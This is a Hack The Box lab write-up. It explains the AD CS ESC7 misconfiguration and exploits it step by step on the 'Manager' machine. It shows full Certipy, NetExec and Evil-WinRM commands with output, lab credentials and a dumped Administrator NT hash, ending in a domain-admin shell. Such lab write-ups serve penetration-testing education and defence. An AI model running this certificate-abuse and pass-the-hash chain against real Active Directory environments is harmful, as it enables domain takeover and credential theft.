ADCS ESC 7
Imagine gaining access to an Active Directory environment where you don’t have direct administrative privileges but you do have powerful permissions over the Certificate Authority.
ESC7 is an AD CS misconfiguration where a low-privileged user has excessive permissions on the Certificate Authority, specifically Manage CA or Manage Certificates.
In a normal environment, these permissions should be restricted to trusted administrators. If they are assigned to an attacker-controlled account, the attacker may be able to manipulate certificate requests or approve a previously denied request.
The attacker can then obtain a certificate that allows authentication as a privileged account, potentially leading to privilege escalation or even full domain compromise.
So, in simple terms, ESC7 is about abusing excessive CA management permissions to influence certificate issuance and obtain privileged authentication.
Prerequisites – ESC7 Attack
For this technique to work, the following requirements must be met:
The user must have the Manage Certificate Authority (CA) access right.
The user must also have the Manage Certificates access right.
- With the “Manage Certificate Authority (CA)” access right, you have the ability to grant yourself the “Manage Certificates” access right. You can do this by adding your user account as a new officer.
Practical
For this practical, I am working on the HTB Manager machine. After obtaining valid credentials for the operator account, my next objective is to investigate whether the Active Directory environment has any certificate-based privilege escalation opportunities.
I start by checking for Active Directory Certificate Services (AD CS) using NetExec:
nxc ldap manager.htb -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -M adcs
Here, I am authenticating to the Manager domain using the raven credentials and running NetExec's AD CS module. At this stage, I am not exploiting anything yet. I am performing enumeration to determine whether an AD CS infrastructure exists in the environment.
kali@kali ~/Desktop/HTB/Machines/Windows/Manager [0:57:35]
> $ nxc ldap manager.htb -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -M adcs
/usr/lib/python3/dist-packages/lsassy/impacketfile.py:90: SyntaxWarning: 'return' in a 'finally' block
return True
LDAP 10.129.80.59 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:manager.htb) (signing:None) (channel binding:Never)
LDAP 10.129.80.59 389 DC01 [+] manager.htb\raven:R4v3nBe5tD3veloP3r!123
ADCS 10.129.80.59 389 DC01 [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS 10.129.80.59 389 DC01 Found PKI Enrollment Server: dc01.manager.htb
ADCS 10.129.80.59 389 DC01 Found CN: manager-DC01-CA
After confirming that Active Directory Certificate Services (AD CS) is present in the HTB Manager environment, I now move to the next stage: identifying whether the Certificate Authority is misconfigured in a way that could allow privilege escalation.
The CA identified during enumeration is:
manager-DC01-CA
Then, I use certipy-ad tool to enumerate the AD CS environment and specifically look for vulnerable certificate configurations:
certipy-ad find -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.80.59 -vulnerable -stdout
kali@kali ~/Desktop/HTB/Machines/Windows/Manager [0:57:46]
> $ certipy-ad find -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.80.59 -vulnerable -stdout
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'manager-DC01-CA' via RRP
[*] Successfully retrieved CA configuration for 'manager-DC01-CA'
[*] Checking web enrollment for CA 'manager-DC01-CA' @ 'dc01.manager.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
0
CA Name : manager-DC01-CA
DNS Name : dc01.manager.htb
Certificate Subject : CN=manager-DC01-CA, DC=manager, DC=htb
Certificate Serial Number : 5150CE6EC048749448C7390A52F264BB
Certificate Validity Start : 2023-07-27 10:21:05+00:00
Certificate Validity End : 2122-07-27 10:31:04+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : MANAGER.HTB\Administrators
Access Rights
Enroll : MANAGER.HTB\Operator
MANAGER.HTB\Authenticated Users
MANAGER.HTB\Raven
ManageCa : MANAGER.HTB\Administrators
MANAGER.HTB\Domain Admins
MANAGER.HTB\Enterprise Admins
MANAGER.HTB\Raven
ManageCertificates : MANAGER.HTB\Administrators
MANAGER.HTB\Domain Admins
MANAGER.HTB\Enterprise Admins
[+] User Enrollable Principals : MANAGER.HTB\Raven
MANAGER.HTB\Authenticated Users
[+] User ACL Principals : MANAGER.HTB\Raven
[!] Vulnerabilities
ESC7 : User has dangerous permissions.
Certificate Templates : [!] Could not find any certificate templates
The output shows that Raven has access to the Certificate Authority and, most importantly, Certipy identifies:
[!] Vulnerabilities ESC7 : User has dangerous permissions.
This confirms that the raven account has dangerous CA permissions, giving me an ESC7 attack path.
So, at this point, I have confirmed that Raven has the required access to abuse the CA.
I now use these permissions to add Raven as an officer on the Certificate Authority:
certipy-ad ca -ca manager-DC01-CA -add-officer raven -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.80.59 -target dc01.manager.htb
The command succeeds, confirming that Raven has been added as an officer on manager-DC01-CA.
kali@kali ~/Desktop/HTB/Machines/Windows/Manager [1:08:07]
> $ certipy-ad ca -ca manager-DC01-CA -add-officer raven -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.80.59 -target dc01.manager.htb
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'Raven' on 'manager-DC01-CA'
Next, I enable the SubCA certificate template on the CA:
certipy-ad ca -ca manager-DC01-CA -add-officer raven -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.80.59 -target dc01.manager.htb -enable-template SubCA
kali@kali ~/Desktop/HTB/Machines/Windows/Manager [1:08:16]
> $ certipy-ad ca -ca manager-DC01-CA -add-officer raven -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.80.59 -target dc01.manager.htb -enable-template SubCA
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'Raven' on 'manager-DC01-CA'
After adding Raven as a CA officer and enabling the SubCA template, I verify the CA configuration and enabled certificate templates using Certipy:
certipy-ad find -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.80.59 -enabled
Certipy finds the certificate templates and confirms that the CA is available:
kali@kali ~/Desktop/HTB/Machines/Windows/Manager [1:33:30]
> $ certipy-ad find -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.80.59 -enabled
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'manager-DC01-CA' via RRP
[*] Successfully retrieved CA configuration for 'manager-DC01-CA'
[*] Checking web enrollment for CA 'manager-DC01-CA' @ 'dc01.manager.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20261009013631_Certipy.txt'
[*] Wrote text output to '20261009013631_Certipy.txt'
[*] Saving JSON output to '20261009013631_Certipy.json'
[*] Wrote JSON output to '20261009013631_Certipy.json'
This confirms that the manager-DC01-CA Certificate Authority is accessible and that the enabled certificate templates can be enumerated.
The important point here is that I have verified the CA configuration before proceeding with the certificate request.
Next, I can use the enabled SubCA template to request a certificate for the administrator identity.
certipy-ad req -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -ca manager-DC01-CA -dc-ip 10.129.80.59 -target dc01.manager.htb -template SubCA -upn administrator@manager.htb
Certipy sends the certificate request through RPC and receives Request ID 21.
kali@kali ~/Desktop/HTB/Machines/Windows/Manager [14:51:22]
> $ certipy-ad req -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -ca manager-DC01-CA -dc-ip 10.129.80.59 -target dc01.manager.htb -template SubCA -upn administrator@manager.htb
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 21
[-] Got error while requesting certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
Would you like to save the private key? (y/N): y
[*] Saving private key to '21.key'
[*] Wrote private key to '21.key'
[-] Failed to request certificate
However, the CA rejects the request with:
CERTSRV_E_TEMPLATE_DENIED
This means that Raven does not currently have permission to enroll directly for the SubCA template.
Even though the certificate request fails, Certipy saves the generated private key as:
21.key
This is expected in this stage of the ESC7 workflow. The important point is that the request exists on the CA with Request ID 21, while the certificate itself has not yet been issued.
In simple words the CA has recorded your certificate request, but it has not given you the certificate yet.
Since Raven has CA officer privileges, I can now use those privileges to approve the denied request and then retrieve the issued certificate.
certipy-ad ca -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -ca manager-DC01-CA -dc-ip 10.129.80.59 -target dc01.manager.htb -issue-request 21
This means the certificate request has now been approved and issued by the Certificate Authority. I can therefore move to the final step of retrieving the certificate associated with request ID 21.
kali@kali ~/Desktop/HTB/Machines/Windows/Manager [14:51:40]
> $ certipy-ad ca -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -ca manager-DC01-CA -dc-ip 10.129.80.59 -target dc01.manager.htb -issue-request 21
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate request ID 21
Since request ID 21 has now been successfully issued, I retrieve the certificate using Certipy:
certipy-ad req -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -ca manager-DC01-CA -dc-ip 10.129.80.59 -target dc01.manager.htb -template SubCA -retrieve 21
Certipy successfully retrieves the certificate associated with request ID 21:
kali@kali ~/Desktop/HTB/Machines/Windows/Manager [14:52:06]
> $ certipy-ad req -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -ca manager-DC01-CA -dc-ip 10.129.80.59 -target dc01.manager.htb -template SubCA -retrieve 21
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Retrieving certificate with ID 21
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Certificate has no object SID
[*] Loaded private key from '21.key'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
The certificate is associated with the administrator@manager.htb identity. Certipy also loads the private key that was saved when I originally created the certificate request:
[*] Loaded private key from '21.key'
It then combines the certificate and private key into a PKCS#12 file:
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
I now have administrator.pfx, which contains the certificate and its corresponding private key. This can be used for certificate-based authentication as the Administrator account.
Then, I checked the time synchronization and corrected the Kali system clock using the Domain Controller as the NTP source:
sudo ntpdate 10.129.80.59
The clock was stepped by approximately 7 hours:
kali@kali ~/Desktop/HTB/Machines/Windows/Manager [14:55:31]
> $ sudo ntpdate 10.129.80.59
2026-10-08 21:55:39.621098 (+0530) +25200.019484 +/- 0.117319 10.129.80.38 s1 no-leap
CLOCK: time stepped by 25200.019484
After synchronizing the clock, I can retry certificate-based authentication using the administrator.pfx certificate:
certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.80.59
Certipy identified the certificate UPN as administrator@manager.htb and successfully obtained a Kerberos TGT:
kali@kali ~/Desktop/HTB/Machines/Windows/Manager [21:55:55]
> $ certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.80.59
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator@manager.htb'
[*] Using principal: 'administrator@manager.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef
Certipy then successfully retrieved the NT hash for the Administrator account:
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb'
At this point, I have successfully authenticated as the Domain Administrator through the certificate obtained via the ESC7 misconfiguration and obtained the Administrator NT hash.
With the Administrator NT hash obtained through the ESC7 certificate attack, I can authenticate to the target using Pass-the-Hash over WinRM:
evil-winrm -i 10.129.80.59 -u 'Administrator' -H 'ae5064c2f62317332c88629e025924ef'
This establishes an Evil-WinRM session as the Administrator account, giving me administrative access to the target system.
kali@kali ~/Desktop/HTB/Machines/Windows/Manager [2:08:35]
> $ evil-winrm -i 10.129.80.59 -u 'Administrator' -H 'ae5064c2f62317332c88629e025924ef'
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
manager\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents>